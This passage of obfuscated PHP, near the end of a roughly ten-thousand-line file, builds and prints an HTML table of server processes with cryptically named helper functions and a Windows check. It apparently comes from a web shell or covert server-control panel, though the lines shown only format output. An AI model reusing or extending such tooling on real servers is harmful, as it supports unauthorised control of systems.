10437 $tab = @array_merge($tab, $prcs);
10438 echo z9m('2');
10439 $cnt = 0;
10440 foreach ($tab as $i => $k) {
10441 $r = '';
10442 $cnt2 = 0;
10443 foreach ($k as $j => $v) {
10444 if ($win and $i > 0 and $j == 2) {
10445 $v = z7c($v);
10446 }
10447 if ($cnt == 0) {
10448 $r .= (($cnt2 == 0) ? z7l($v, '13', '2') : ($cnt2 == (@count($k) - 1) ? z7l($v,
10449 '13', '3') : z7l($v, '13')));
10450 } else {
10451 $r .= (($cnt2 == 0) ? z7l($v, '14', '2') : ($cnt2 == (@count($k) - 1) ? z7l($v,
10452 '14', '3') : z7l($v, '14')));
10453 }
10454 $cnt2++;
10455 }
10456 echo z7i($r, ($cnt % 2 ? '0' : '1'));
10457 $cnt++;
10458 }
10459 echo z10w();
10460 }
10461}
10462z3x(); ?>